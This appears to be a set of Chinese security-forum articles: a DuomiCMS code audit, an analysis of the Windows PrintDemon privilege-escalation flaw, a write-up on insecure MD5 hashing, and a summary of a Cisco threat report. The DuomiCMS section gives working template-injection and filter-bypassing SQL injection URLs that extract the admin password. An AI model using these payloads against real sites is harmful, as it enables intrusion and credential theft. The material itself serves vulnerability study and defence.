**simplexml_load_string** 两个函数。我们可以发现搜索结果将近40条，如下：
接下来我们就一个一个进行验证（其实不用真的每个都去验证，因为有的程序代码结构很像，或者看一眼就知道不存在漏洞了）。先来看一下 **api.php**
文件中的代码，可以看到这里的 **XML** 文件内容来自 **$playerKindsfile** 变量，该变量的值为
**data/admin/playerKinds.xml** 文件的内容。 **api.php** 文件代码如下：
这时候，我们要考虑的就是 **data/admin/playerKinds.xml**
文件的内容是否可以被我们控制。如果该文件可以被攻击者控制，就很有可能存在 **XXE** 漏洞。于是，我们搜索字符串 **playerKinds**
，结果如下：
我们发现其中有一个语句为 **$doc - > save($playerKindsfile)** 。按照函数名来推测，这里极有可能是将
**$playerKindsfile** 变量对应的内容保存进 **data/admin/playerKinds.xml** 文件。所以我们要来看一下
**$playerKindsfile** 变量对应的内容是否可控。
我们找到 **admin\admin_player.php** 文件对应的代码，发现当 **$action=="addnew"** 的时候，会将
**POST** 方式传来的 **playername** 、 **info** 、 **order** 、 **trail** 四个参数写进
**data/admin/playerKinds.xml** 文件。相关代码如下：
我们用 **BurpSuite** 抓包，并用 **TheFolderSpy** 监控 **www**
目录（其目的是检测用户输入是否有被写入文件中），结果如下：
我们发现 **POST** 方式传输的 **playername** 、 **info** 、 **order** 、 **trail**
四个参数，确实写进了 **data/admin/playerKinds.xml** 文件，但是特殊符号都被 **HTML实体编码**
了，所以这里无法利用。(下图是 **payload** 中特殊字符被 **HTML实体编码** 的截图)。
我们接着看看其他位置是否存在 **XXE** 漏洞，会发现其他地方的 **XML** 文件加载方式基本和上面一样，因此应该不存在 **XXE** 漏洞。
### 前台代码执行
这一处的代码执行和以前苹果CMS的代码执行是类似的，都是在解析模板标签的时候，将解析的标签拼接，并用在了 **eval** 函数中，最终造成了代码执行漏洞。
在挖掘漏洞之初，我们先全局搜索 **eval** 函数，这里可以明显的看到只有 **duomiphp\core.class.php** 文件中使用了
**eval** 函数。搜索图如下：
我们详细的看一下其代码，可以发现 **eval** 函数只出现在 **parseIf** 和 **parseSubIf** 函数中：
那么我们就来搜索一下这两个函数在何处被调用。由于 **parseSubIf** 函数在 **parseIf** 函数中被调用，这里我就直接搜索
**parseIf** 函数，并挑选了一个较为简单的 **search.php** 文件进行分析。为了更好分析，我这里直接把 **payload**
带入分析，所使用的 **payload** 如下：
http://localhost/search.php?searchword={if:phpinfo()}phpinfo(){end
下面我们来具体分析 **search.php** 文件。首先文件开头引入了 **duomiphp/common.php** 文件，而该文件引入了
**duomiphp\webscan.php** 文件对用户提交的变量进行处理。该文件使用以下三个正则分别对用户传递的 **GPC** （
**GET、POST、COOKIE** ）参数进行过滤，但是我们的 **payload** 并不会触发这里的正则。
在 **duomiphp/common.php** 文件中，还存在一处变量覆盖的利用点（如下图代码）：
继续回到 **search.php** 文件，我将有用的关键代码简化如下：
这里需要注意，程序会 **只截取20个字符** 作为 **$searchword** （上图第2行），然后在 **第14行** 代码处把模板的
**{duomicms:searchword}** 替换成 **$searchword** 。替换后，又在 **第17**
行开始对模板中的IF语句进行解析。虽然程序有做一些过滤操作，但是都无法有效的避免我们的恶意代码。
我们跟进 **parseIf** 方法。其实这里就是把 **IF标签** 的内容取出来，然后拼接到 **eval**
函数中执行了，这也是漏洞的成因，具体的变量值可以看下图右边墨绿色的字体，这里不再赘述。
测了几个版本，都有影响。当然，前台getshell方式还不止这一种，可以利用前面的变量覆盖，伪造admin身份，最后写入webshell，具体分析之后会在
**[红日安全]代码审计Day14 - 从变量覆盖到获取webshell** 文章中详细分析。
### SQL注入漏洞挖掘
根据 **CNVD** 的漏洞通告：[DuomiCms
x3.0前台duomiphp/ajax.php文件存在SQL注入漏洞](http://www.cnvd.org.cn/flaw/show/CNVD-2018-05568)
，我们就直接打开 **duomiphp/ajax.php** 文件，观察其中所有的 **SQL** 语句，可以总结为以下几种类型：
可以看到这里大多数 **SQL**
语句使用了拼接，而拼接用的变量又多数是全局变量，我们在前面的代码执行漏洞中，提到程序有注册变量的行为，这样容易造成变量覆盖。下面，我们来一个个分析这些变量。
首先是 **$id** 变量，拼接在 **SQL** 语句尾巴且没有引号包裹。本来应该是比较好利用的，但是这里开头对 **id**
变量进行了类型判断。这样导致在 **select语句** 中无法再利用，但是我们可以用 **16进制** 编码绕过，将payload的 **16进制**
插入数据库中，形成二次注入。但是我们搜索 **insert语句** 的时候，发现其被单引号包裹，所以无法利用，具体代码如下：
接着是 **$score** 变量，该变量位于 **SQL** 语句中间，这样就要引入注释符，将后面的语句注释掉。但是引入注释符，会触发
**duomiphp/sql.class.php** 文件的SQL检测规则，所以这处也不好利用。具体代码如下：
最后剩下一个 **$uid** 变量了，该变量为全局变量，可以由用户控制，而且其位置在SQL语句最后，两边也没有引号包裹，极其好利用。如下图
**第12行** 代码：
我们根据代码逻辑，即可构造出如下 **payload** ：
ajax.php?action=addfav&id=1&uid=1 and extractvalue(1,concat_ws(0x3A,0x3A,version()))
但是要想爆出有用的数据，这里还要绕过 **duomiphp/sql.class.php** 文件的SQL检测规则以及全局变量的
**_RunMagicQuotes** 函数的转义。这里直接给出我测试成功的 **payload** ：
http://localhost//duomiphp/ajax.php?action=addfav&id=1&uid=10101 and `'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `'`.``.vid
下面，我们直接将 **payload** 带入到程序中进行分析。首先，我们的 **payload** 完美绕过了
**duomiphp/webscan.php** 文件的 **$getfilter** 规则，然后经过了 **duomiphp/common.php**
文件 **_RunMagicQuotes** 函数的转义并注册成全局变量。具体代码如下：
此时 **$uid** 的值已经变成了下面这样：
10101 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid
根据我们传入的 **action=addf** ，我们直接进入了 **duomiphp\ajax.php** 文件的 **addfav**
方法。然后直接拼接SQL语句，进入 **duomiphp\sql.class.php** 文件的 **GetOne** 方法。接着在 **GetOne**
方法中调用了 **$this- >Execute("one");** （下图第22行）这段代码。
在 **Execute** 方法中，我们最需要关注的就是 **CheckSql** 方法的实现。首先，如果是 **select**
语句，会先经过下面的正则，这个正则不允许我们使用联合查询。
接着往下看，会发现一个很明显的问题。 **while** 语句将处理后的数据库查询语句 **$db_string** 存在 **$clean**
中，然后用于检测的是 **$clean** 变量，最后返回的却是 **$db_string** 。所以我们只要在 **$clean**
变量中不出现敏感词，即可绕过SQL语句的检测。
我们来具体看一下 **while** 中的程序。该函数会先搜索第一个单引号的下标，取引号前面的字符串给 **$clean**
，然后将第一个引号和第二个引号之间的字符用 **\$s\$** 来代替，最后取第二个引号之后的内容给 **$clean** 变量。
处理后获得的 **$clean** （如下）可以绕过下面的 **SQL** 检测，然后程序又将 **$db_string**
原样返回，此时也就造成了SQL注入。
// $clean
select id from `duomi_favorite` where vid=1 and uid=10101 and `\$s$`.``.vid
// $db_string
Select id From `duomi_favorite` where vid=1 and uid=10101 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid
### 结语
实际上，这个CMS在CNVD上通告的漏洞还是蛮多的，虽然没有漏洞详情，但是我们也可以自己审计或者根据描述细节来还原漏洞，从而提高自身的审计能力。在审计某一cms的时候，可以先在CVE、CNVD、seebug上搜搜，了解一下历史漏洞，然后在进行审计，或许会有意外之喜：）
<http://www.cnvd.org.cn>
<https://www.seebug.org/search/?keywords=Duomicms>
<http://cve.mitre.org> | 社区文章 |
新的即时消息
无论是公司还是政府，今天的数字监控是普遍的。
Tox是一个易于使用的软件，可以连接您与朋友和家人，没有任何人在监听。虽然其他大牌服务需要您支付功能，Tox是完全免费的，没有广告 - 永远。
<https://tox.chat> | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/1FyUakK_u_LUKHeSFu52Ew>**
# 一、漏洞概述
微软在5月12日的安全更新中公开了一个Windows本地提取漏洞（CVE-2020-1048），该漏洞的描述为：
“ **Windows Print
Spooler服务不恰当地允许任意的文件系统写入，存在特权提升漏洞。攻击者利用此漏洞能够用系统特权运行任意代码，从而实现：程序的安装、查看、更改或数据删除，以及创建具有完整权限的帐户。要利用此漏洞，攻击者必须登录到受影响的系统并运行特定脚本或应用程序**
”。
该漏洞由安全研究人员Alex Ionescu和Yarden Shafir发现，并被命名为PrintDemon。Print
Spooler是系统自带的打印后台处理服务，管理所有本地和网络打印队列，控制着所有打印工作。Print
Spooler在Windows系统中已存在多年，从微软发布的补丁页面可知该漏洞影响Windows7至Windows10 1909的几乎所有版本。
# 二、漏洞验证
启明星辰ADLab安全研究员对该漏洞进行了分析和验证，实现了在低权限的标准用户下写入系统目录，测试操作系统为Windows 10
x64企业版2016（长期服务版），测试步骤如下：
1）在测试系统中创建一个标准用户test，并使用该标准用户登录系统。查看其所属用户组，确认其不是管理员用户组。
2）在test账户下，尝试在系统目录下创建文件夹或者写入文件，均失败。
3）然后执行如下PowerShell命令，以期在系统目录下创建文件myport.txt。
4）重启测试系统并登录test用户，可以看到在系统目录下已生成了myport.txt文件，查看内容确实包含了测试字符串。该结果表明：低权限的
test用户突破了无法修改系统资源的安全限制。
# 三、漏洞原理
该漏洞涉及到Windows打印机的工作机制，为更好的理解漏洞成因，首先简单介绍打印机基础知识，然后再分析漏洞成因。
## 打印机工作机制
Windows系统的打印机有两个核心组件：打印机驱动和打印机端口。
* 打印机驱动
在添加一个打印机时，需要安装打印机驱动。在MSDN文档描述中，早期系统要求只有具备SeLoadDriverPrivilege权限的用户才能安装打印驱动，但为了便于标准用户安装驱动，从Windows
Vista开始，只要打印机驱动是已经存在的可立即使用的驱动，就不需要任何特权即可安装。例如，通过一条PowerShell命令即可安装“Generic /
Text-Only”驱动。
* 打印机端口
在添加一个打印机时，需要设置打印机的端口。Windows支持多种类型的打印机端口：
LPT1端口、USB端口、网络端口和文件等。如果设置端口为文件，则意味着打印机将数据打印到指定文件。例如，通过一条PowerShell命令即可添加一个输出到指定文件的打印端口。
`Add-PrinterPort -Name "C:\windows\Temp\myport.txt"`
实际上，该操作是在注册表中增加一个REG_SZ类型的值。
准备好驱动和端口后，通过一条PowerShell命令即可创建一个打印机。
打印机创建完毕后，通过一条PowerShell命令即可打印数据到指定端口：
"Print Test!" | Out-Printer -Name "PrintTest"
由于PrintTest打印机的端口是文件c:\windows\Temp\myport.txt，因此打印命令执行后，数据“Print
Test!”将会被写入（即打印）到该文件。
针对端口是文件的打印过程，spooler打印服务程序以impersonating方式来模拟当前用户的特权进行文件写入。因此，如果端口文件在受保护的系统目录（例如C:\Windows\system32），
则非管理员下的PowerShell打印作业就会失败。
## 脱机打印的机制
在Windows系统上，如果系统配置启用了假脱机服务，则所有的打印任务都不是立即执行。相反，系统使用Print
Spooler来管理脱机打印任务。具体来说，当用户调用[打印](https://baike.baidu.com/item/打印)操作后，系统将打印作业存储在特定的[假脱机](https://baike.baidu.com/item/假脱机/5517023)文件夹中。
默认情况下，Windows生成的脱机打印任务文件为.SPL文件，此外Windows还会创建后缀名为.SHD的shadow文件并同SPL文件做关联。创建shadow文件的用途是：在打印程序出现问题或者打印任务被挂起后，Print
Spooler依然可以通过SHD文件恢复打印任务。
在Windows系统重启或Print Spooler服务重启之后，.SHD和.SPL文件会被重新读取以恢复打印任务。
## 打印提权的原理
脱机打印机制使得Windows系统在重启后会恢复可能存在的未执行打印任务。但是， **重启后的Printer
Spooler服务程序直接使用了System权限来恢复未执行的打印作业**
。对于打印机端口为文件的打印任务，打印文件的写入也就在System权限下被执行。因此，系统重启使得脱机打印任务具备了System权限的任意文件写入能力。
打印机的设置除PowerShell脚本外，通过系统控制面板也能设置。具体来说，通过“设备和打印机”能添加打印机并设置端口。
但如果设置打印端口名为`C:\Windows\system32\myport.txt`，则会失败。
为何设置同样文件名的打印机端口，通过控制面板会失败，而通过PowerShell
命令则可以成功呢？通过分析这两种方式对spooler程序执行流程的影响，发现spooler程序对通过PowerShell命令行添加打印机端口方式缺乏安全校验。
具体来讲，针对PowerShell命令添加打印机端口，spooler程序直接设置了相应的打印机端口注册表项；针对控制面板添加打印机端口，spooler程序会首先尝试创建该端口文件，创建失败后就不会再设置相应的注册表项。
进一步分析相关API发现，Windows系统提供了两种添加打印机端口的API，分别是AddPort函数和XcvData函数。其中MSDN对AddPort的描述：
**“AddPort函数浏览网络以查找现有端口，并弹出对话框供用户选择。
AddPort函数应该通过调用EnumPorts来验证用户输入的端口名称，以确保不存在重复的名称。AddPort函数的调用方必须具有访问端口所连接的服务器的SERVER_ACCESS_ADMINISTER权限。要添加端口而不显示对话框，可调用XcvData函数而不是AddPort**
”。
通过控制面板添加打印机在底层是调用了AddPort函数，该函数会触发spooler程序对端口的合法性校验。通过PowerShell命令添加打印机在底层则是直接调用XcvData函数，该函数不会触发spooler程序对用户添加的端口进行安全校验。因此，测试程序AddPort.exe通过该函数在标准用户权限下也能设置打印机端口为受保护目录中的文件。
## 漏洞补丁的分析
分析漏洞修复后的版本发现，微软在关键函数LcmCreatePortEntry（最终创建打印机端口的函数）中添加了相应的端口合法性检查代码。下图是关键函数LcmCreatePortEntry在修复前和修复后的Call
Graph对比，可以看出：补丁的核心是通过函数PortIsValid对端口进行合法性检查。
根据上文的分析可知，标准用户是无法在系统目录中创建文件的，把端口设置为系统目录下的文件会导致PortIsValid检测不到目标文件，从而判定要设置的端口是非法的。因此，在补丁修复后，标准用户添加打印端口为系统目录下文件的打印机就会始终失败，从而避免了系统重启时恢复恶意的打印服务。
# 四、修复建议
由于该漏洞能影响众多的Windows系统版本，而且可以在标准用户下发起漏洞攻击，建议受影响的用户及时进行系统更新或安装漏洞补丁。
此外，微软的安全更新只是对打印端口API进行了更严格的校验。但是，如果恶意文件端口在漏洞修复前已经创建，则漏洞攻击实际已经生效，此时进行系统更新仍然是不安全的。建议用户先使用PowerShell命令Get-PrinterPort来检查系统中是否存在可疑的打印机端口，在删除可疑端口后再实施系统更新。
# 参考资料
1. <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048>
2. <https://docs.microsoft.com/en-us/windows/win32/printdocs/addport>
3. [https://docs.microsoft.com/en-us/previous-versions/ff564255(v%3dvs.85)](https://docs.microsoft.com/en-us/previous-versions/ff564255\(v=vs.85\))
4. <https://windows-internals.com/printdemon-cve-2020-1048/>
* * * | 社区文章 |
# 【缺陷周话】第30期：不安全的哈希算法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、不安全的哈希算法
哈希算法是使用哈希函数将任意长度的消息映射成为一个长度较短且长度固定的值，这个经过映射的值为哈希值。它是一种单向加密体制，即一个从明文到密文的不可逆映射，只有加密过程，没有解密过程。而不安全的哈希算法则可以逆向推出明文。在密码学中，哈希算法主要用于消息摘要和签名来对整个消息的完整性进行校验，所以需要哈希算法无法推导输入的原始值，这是哈希算法安全性的基础。目前常用的哈希算法包括MD4、MD5、SHA等。本篇文章以JAVA语言源代码为例，分析不安全的哈希算法缺陷产生的原因以及修复方法。详细请参见：CWE
ID 327: Use of a Broken or Risky Cryptographic Algorithm
(http://cwe.mitre.org/data/definitions/327.html)。
## 2、 不安全的哈希算法的危害
使用不安全的哈希算法形成数字签名来校验数据源的身份会影响数据的完整性和机密性，导致校验方式失效。
从2018年1月至2019年4月，CVE中共有15条漏洞信息与其相关。部分漏洞如下：
CVE | 漏洞概况
---|---
CVE-2019-1828 | Cisco Small Business RV320（1.4.2.22之前的固件版本）和 RV325 双千兆 WAN VPN
路由器允许未经身份验证的远程攻击者在基于Web管理界面中的漏洞访问管理凭据。存在此漏洞，因为受影响的设备对用户凭据使用弱加密算法。攻击者可以通过中间人攻击和解密截获的凭据利用此漏洞以管理员权限访问受影响的设备。
CVE-2018-6619 | Easy Hosting Control
Panel（EHCP）v0.37.12.b通过利用无盐的弱哈希算法，使攻击者更容易破解数据库密码。
CVE-2018-15326 | DBS3900 TDD LTE V100R003C00，V100R004C10 具有弱加密算法安全漏洞。DBS3900
TDD LTE支持使用不安全加密算法进行SSL /
TLS协议协商。在通信中使用了不安全的加密算法，未经身份验证的远程攻击者可以利用此漏洞破解加密数据并导致信息泄露。
## 3、示例代码
示例源于Benchmark
(https://www.owasp.org/index.php/Benchmark)，源文件名：BenchmarkTest00046.java。
### 3.1缺陷代码
上述示例代码操作是将请求参数转换为哈希值的操作，在第45行获取请求参数
BenchmarkTest00046。在第53行获取一个MD5转换器，在第55行~70行将获取的请求参数值转换为字节数组，第71行将字节数组作为参数传入MD5转换器，第73行获得转换后的字节数组。由于MD5是已经公认已破解的哈希算法，使用该哈希算法来处理数据会损害数据的机密性，导致信息泄露。
使用360代码卫士对上述示例代码进行检测，可以检出“不安全的哈希算法”缺陷，显示等级为低。在代码行第53行报出缺陷，如图1所示：
图1：不安全的哈希算法的检测示例
### 3.2 修复代码
在上述修复代码中，第54行使用SHA-512算法取代MD5算法保证数据完整性和安全性。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“不安全的哈希算法”缺陷。如图2：
图2：修复后检测结果
## 4、 如何避免不安全的哈希算法
在安全性要求较高的系统中，应采用散列值>=224比特的SHA系列算法（如SHA-224、SHA-256、SHA-384和SHA-512）来保证敏感数据的完整性。 | 社区文章 |
`先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。`
### 投稿
* 直接右上角`【个人中心】`-`【创建新帖子】`-`【节点模块】`选择`【技术文章】`。投稿时麻烦提供下可联系到作者的IM，方便审核沟通。（如未收到回复，联系wx：50421961）
* Ps: `MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧`
* * *
# 主要发现
Business email compromise (BEC) 。对攻击者来说，BEC企业邮件攻击是高获利的攻击面。根据Internet Crime
Complaint Center
(IC3)的数据，2013年10月到2016年12月，攻击者通过BEC诈骗获利53亿美元。而勒索软件2016年只获利10亿美元。
Spyware.
作为恶意软件的一种形式，许多组织都低估或者彻底忽略了Spyware的作用。Spyware可以窃取用户个公司的信息，弱化设备的安全态势，增加恶意软件感染的概率。
Internet of
things(IoT，物联网)，物联网是企业合作和改革的方向。随着物联网的发展，安全风险也随之增加：不可见性是一个问题，防卫方并不知道什么样的物联网设备连接到网络中。而攻击者已经在利用物联网设备中的安全漏洞了。
Cisco记录了检测所需时间（TTD, time to
detect)的中位数，这个时间从研究刚开始的39小时（2015年11月）降到3.5小时（2016.11-2017.5）。
Cisco观察到2016年中起垃圾邮件的数量激增，而同时工具利用活动有明显下降。攻击者从利用工具来传播勒索软件变为通过垃圾邮件传播，垃圾邮件中有含有宏的恶意文件，可以抵御许多的沙箱技术。
Supply chain
attacks供应链攻击给攻击者一种通过被黑站点传播恶意软件到组织的新方法。如软件供应商的网站被黑，攻击者利用从该站点下来软件来感染主机。
Cyber攻击的频率、复杂性和体量都急剧增长，说明黑客经济遇到了拐点。目前的攻击主题主要通过对一些列有用的和低成本的资源的快速访问来获利。
对企业安全来说，云是一个被忽略的方面。Open
authentication(OAuth)风险和单个特权用户账户的管理漏洞为攻击者创造了非常容易就可以利用的安全缝隙。攻击者也可以迁移到云上来进行企业云环境的攻击。
利用工具活动急剧减少。由于企业商业模型的改变等原因，利用工具活动减少，但这种情形可能是暂时的。
未合理应用和为了合法用户访问访问而故意开放的DevOps服务给企业组织带来巨大的安全风险。
通过对Fancy Bear
cyberespionage组织使用的域名进行ThreatConnect分析，发现了研究攻击者IP基础设施的意义。比如，可以将这些恶意的域名、IP地址、email地址加入黑名单。
2016年底，cisco威胁研究人员发现并报告了3个Memcached服务器远程代码执行漏洞。3个月后发现互联网上扫描的之前发现有这3个漏洞的服务器中有79%漏洞仍未修复，因为没有分发补丁。
# 简介
威胁场景一直在变化，但是cisco的威胁研究和技术伙伴发现威胁的迅速发展和攻击的体量变化带来了很多问题。
## 新的攻击策略：Destruction of service(DeOS)
攻击者现在在寻找一种可以消除安全网（safety
net）的方法，组织依靠安全网来恢复系统和数据。DeOS攻击的表现依赖于攻击者的核心动机和创造性、能力的限制。唯一确定的是新出现的物联网和存在安全漏洞的物联网设备和系统在这种攻击中起着核心的作用。在战场上，攻击者可以操作的空间和时间都是有限的，他们必须不断地改变策略来避免被检测到，必须改革攻击手段来提升攻击的有限性，比如使用比特币和Tor使用勒索软件更有效。
## 重点：减少碎片化的安全工具箱
为了减缓攻击者的攻击、限制攻击时间和空间，保护者拥有他们需要的大多数解决方案。问题的关键是如何运用这些安全。碎片化的多产品安全方法阻碍了组织管理威胁的能力。当安全团队能够统一厂商使用开放的、统一的、简化的安全方法时，就可以减少安全威胁。同时可以更好地应对快速增长的物联网和GDPR（General
Data Protection Regulation）的数据保护要求带来的安全挑战。
# 攻击行为ATTACKER BEHAVIOR
## 利用工具减少，但并未消失
以Neutrino为例，利用工具仍然活跃，但活跃期很短。工具的作者把它租给特定的操作者来获利。这种租借的方法导致Neutrino工具并没有那么流行，同时难以检测。
如图1所示，利用工具活动自2016年1月起急剧减少。该趋势回应了Blackhole利用工具的作者和发布者在俄罗斯被抓。当Blackhole停止操作时，对利用工具市场产生了巨大的影响，因为开发新的工具需要时间。
[
另一个趋势是网络犯罪通过邮件来传播勒索软件和其他恶意软件，这种方式和传播迅速，且性价比很高。攻击者创新地使用一些方法来避免被检测到。比如，Cisco威胁研究人员发现含有宏的恶意文件的垃圾邮件增多，这些恶意文件包括常见的word、excel、PDF文件，这些文件通过与用户的交互可以绕过许多的沙箱技术。
## 防护者的行为如何改变攻击者的关注点？
对Flash的漏洞及时打补丁，可以减缓利用工具市场的速度。Flash软件一直是吸引web攻击的一部分。然而，flash攻击变得越来越难利用，一部分原因是补丁及时更新。
[
如图所示，2014年修复80%的Flash漏洞需要308天，2015年需要144天，到了2016年这个时间变为62天。
当防护者对flash软件打补丁的速度变得越来越快时，一些利用工具的作者可能会把注意力转移到利用过去已经发现但是被忽略的漏洞上去。安全团队需要花时间去评定是否修复了所有已知的flash漏洞，并优先处理可能会让组织处于危险中的高危漏洞。当攻击者利用工具变少时，就会用其他技术来传播勒索软件，比如带有宏的恶意文件。
## Web攻击方法说明Internet变得成熟了
代理很早就出现了，而且随着互联网的发展功能越来越成熟。防护者使用内容扫描的代理来检测网络基础设施中的潜在威胁。这些威胁包括：
* PUA，比如恶意浏览器扩展；
* 木马；
* 指向垃圾邮件和广告欺诈的链接；
* 特定的浏览器漏洞，如JS和图形渲染引擎；
* 浏览器重定向、劫持和其他将用户定向到恶意web内容的方法；
## 全球web拦截活动
Cisco追踪了不同国家和地区的基于恶意软件的区块活动。攻击者频繁地改变攻击的基地，寻找有弱点的基础设施。通过检查整体的流量和区域活动，Cisco的威胁研究人员能够提供恶意软件的发源地。Block
ratio值等于1表明block的数量和网络体量是成正比的。Block活动高于正常值的国家和地区的网络中含有的有漏洞的服务器和主机。图4是全球2016年11月到2017年5月的block活动。
[
## Spyware的影响很大
许多网上的PUA广告软件都是spyware，spyware的厂商尽可能地把软件做得看起来像合法的工具，提供给用户很多有用的服务。然而，无论怎么伪装，spyware都是恶意软件。一般的spyware都是在用户不知情的情况下安装的，会收集和传递关于用户电脑活动的信息。我们把spyware分为三类，adware广告软件，system
monitor系统资源监视器和木马trojans。
在企业环境下，spyware会带来一系列潜在的安全风险，比如：
窃取用户和公司的信息，包括PII个人识别信息和其他隐私、机密信息；
通过修改设备的配置、安装额外的软件、允许第三方访问来弱化设备的安全等级。一些spyware甚至允许远程代码执行，可以让攻击者完全控制设备；
增加恶意软件感染的概率。一旦用户感染了类似spyware或adware之类的PUA，他们就容易感染更多恶意软件。
为了研究spyware感染的情况，Cisco的研究人员研究了大约300家企业的网络流量（2016.11-2017.5）来找出目前企业网络中存在的spyware家族和被感染的程度。研究人员发现了感染了样本超过20%的3个spyware家族，分别是Hola，RelewantKnowledge和DNSChanger/DNS
unlocker。
### Hola
Hola是一款免费的web和手机端VPN应用，既是spyware又是adware。它使用点对点的缓存技术，让用户存储其他用户下载的内容。这是一款分布式的基于浏览器的客户端应用，hola既可以作为浏览器扩展，也可以作为一个独立的应用。据称hola在全球有1.21亿用户。
[
为什么说hola是spyware？Hola的一个功能就是通过Luminati服务出卖用户带宽，可以在用户系统中安装自签名的证书，下载文件时可以绕过病毒检查，远程执行代码。
### RelewantKnowledge
RelewantKnowledge收集大量的用户浏览习惯、系统和配置的信息，属于spyware和系统监视器。RelewantKnowledge可以直接或间接方式安装，甚至不需要用户同意。
[
为什么认为是spyware？RelewantKnowledge可以未经用户同意直接安装，而且收集的信息会卖给第三方。
### DNSChanger/DNS unlocker
DNSChanger/DNS unlocker是同一恶意软件的两个版本。DNSChanger是一个木马程序，能够改变甚至截至感染主机的DNS设置。DNS
unlocker是一款可以不安装的广告恶意软件服务。恶意软件用自己的域名服务器替换DNS设置中的域名服务器将用户HTTP和其他请求从主机指向攻击者控制的服务器，攻击者可以监听、修改用户主机的流量。该恶意软件感染的终端而不是浏览器。通过PowerShell，DNSChanger/DNS
unlocker可以在受感染的主机上执行命令。
为什么认为是spyware？除了上面提到的功能，DNS Unlocker能窃取PII，重定向用户的流量，通过在特定服务注入来改变用户的内容，比如在线广告。
数据表明，在样本中这三款spyware家族中，DNS Unlocker是最流行的。DNS Unlocker的感染率占了月感染量的40%。
## 利用工具活动的减少好像会影响全球垃圾邮件的趋势
研究人员发现垃圾邮件的体量在不断增加，同时利用攻击的情形保持不变flux。Email是可以直接到达终端的，所以攻击者通过社会工程学钓鱼，可以轻而易举地dupe
users最终搞定整个企业的网络。
## 恶意邮件Malicious email: A closer look at malware authors’ file type strategies
更多的网络犯罪选择email作为传播勒索软件和其他恶意软件的首选，cisco的研究人员记录了恶意软件家族使用比较多的文件类型。这可以减少我们TTD所用的时间。
我们分析了2017年1月到4月的恶意软件检测来找出恶意邮件中的前20个恶意软件家族。
### 文件类型和恶意软件家族的关系
研究样本中前5个恶意软件家族中，每个家族都有不同的文件类型策略，比如：
Adwind，远程访问木马RAT，最长使用的是jar文件；
Nemucod，用来传播勒索软件的木马下载器，使用的是.zip文件；
MyWebSearch，一款恶意广告软件，在文件选择上非常有个性，只使用.exe扩展，有时每个月只使用一个文件扩展类型；
Fareit，另一款RAT，使用很多文件类型，但是偏爱.zip和.gz文件；
可以看出，许多恶意软件家族使用更加模糊和古老的文件类型，如.jar和.arj。
## 相比勒索软件，企业邮件的威胁可能更大
最近，勒索软件受到安全界越来越多的关注，相比之下，企业邮件受骇（business email
compromise，BEC）带来的安全威胁可能更大。Flashpoint研究了BEC问题，发现BEC是目前最有吸引力最容易获利的黑客攻击手段。而这看似简单的攻击是依赖社会工程学来触发的。
一般，BEC的基础是发给财务人员的（伪造的）邮件。首先，攻击者会研究公司的架构和员工，如利用社交网络的简历来建立可能的命令传递链。这种邮件可能会来自CEO或其他高管，要求接受者电汇给合作伙伴或者其他厂商。邮件内容表现的比较急迫，强制接受者尽快电汇；而电汇的接受者一般是攻击者控制的银行帐户。
BEC的目标一般是大型公司，虽然大公司可能有针对金融诈骗的成熟的防御体系。但是Facebook、Google等公司都是BEC的受害者。因为BEC消息不含有恶意软件和链接，可以绕过大多数的防御检测工具。
Internet Crime Complaint
Center（IC3）的数据显示，2013年10月到2016年12月BEC诈骗的金额为53亿美元，平均每年17亿。相比之下，2016年勒索软件只收到10亿美元的赎金。2013年10月到2016年12月，美国BEC诈骗的企业数量为22.3万。
应对BEC诈骗需要改进企业运作流程，Flashpoint建议对用户进行培训，比如培训用户识别与普通金融转账不同的转账要求，在电汇前与其他同时确认一下细节。
## 恶意软件6个月的发展
**趋势1：攻击者使用恶意软件分发系统，而该系统需要用户的一些正的行为才能激活威胁**
越来越多的恶意邮件附件能够绕过自动恶意软件检测系统。在沙箱环境中，这些恶意附件并不会有什么恶意行为，而在用户环境下：
密码保护的恶意文件，密码会在邮件正文中提供给用户；
恶意文件弹出对话框请求用户权限（如，点击ok按钮）来执行一些操作；
Word文档中的恶意OLE对象；
Pdf文件中嵌入的恶意word文档；
Sender policy framework
defense（SPF发送策略框架）这样的威胁检测工具能够拦截来自伪造邮箱地址发来的邮件。但是，企业并没有决定开启这项功能，因为SPF可能会拦截合法邮件除非IT管理员合理管理。
像Facebook、Google这样的巨头和员工数较少的企业都是BEC诈骗的潜在目标。因为这是一种低成本、高汇报的攻击方法，这样攻击方式未来可能会持续发展。
**趋势2：攻击者用勒索软件的codebase来最大化利益**
使用开源的代码库，像Hidden Tear和EDA2来创建恶意软件是既快又容易，性价比也很高。Hidden
Tear这样的开源代码库会公开勒索软件代码供大家学习。攻击者会修改代码然后应用到新的恶意软件中。研究人员发现最近几个月的许多新的勒索软件家族都是基于开源代码库中的开源代码的。
**趋势3：Ransomware-as-a-service (RaaS) 平台发展迅速**
像Satan这样的RaaS平台对于想进入勒索软件市场又不想写代码或设计新的勒索技巧的人来说是非常理想的。这类平台的运营者，增长非常快，并且截取了攻击者的一部分获利。一些平台甚至提供除勒索软件外的额外服务，比如追踪客户勒索的进度等。
**趋势4：内存中的恶意软件变得越来越流行**
有这样一种流行的恶意软件，他们依赖powershell或WMI在内存中运行恶意软件，而不会有任何的文件系统和注册表的修改。这让检测恶意软件变得更难，调查取证和应急响应也会变难。
**趋势5：攻击者依赖匿名和分散的基础设施来混淆C2C**
研究人员发现访问恶意软件和Tor网络中的C2C服务中使用桥接服务增多。例如Tor2web，是一个允许网络上的系统访问Tor网络中的所有事物的代理服务，在这个过程中，用户不需要在本地安装Tor客户端。攻击者使用Tor2web可以在不修改恶意软件代码的情况下使用Tor。
## 威胁情报：追踪攻击和漏洞
